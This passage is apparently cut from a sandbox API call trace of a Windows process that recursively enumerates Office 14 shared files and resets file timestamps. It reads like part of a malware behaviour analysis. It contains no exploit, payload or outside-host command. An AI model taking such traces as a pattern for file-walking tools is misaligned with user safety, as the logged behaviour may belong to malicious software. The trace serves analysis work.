ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0048.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeea730 [0048.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0048.555] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0048.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeec5b0 [0048.555] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeec5b0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeec5b0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0048.556] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec5b0) returned 1 [0048.556] NtClose (Handle=0x17c) returned 0x0 [0048.556] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea730) returned 1 [0048.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0048.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeea730 [0048.556] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeac58 [0048.556] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0048.556] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.556] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0048.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.556] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.556] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeead60 [0048.556] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0048.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9bc0 [0048.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeae68 [0048.556] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.556] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0048.556] GetLastError () returned 0x12 [0048.557] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cb8 [0048.557] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0048.557] GetLastError () returned 0x12 [0048.557] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeac58) returned 1 [0048.557] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0048.557] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeead60) returned 1 [0048.557] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea730) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0048.557] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0048.558] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0048.558] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0048.558] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0048.558] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0048.558] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0048.558] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="")) returned 1 [0048.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeea730 [0048.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0048.558] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0048.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeec5b0 [0048.558] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeec5b0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xeec5b0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0048.558] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec5b0) returned 1 [0048.558] NtClose (Handle=0x178) returned 0x0 [0048.558] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea730) returned 1 [0048.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0048.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeea730 [0048.559] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeead60 [0048.559] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cb8 [0048.563] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.564] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, 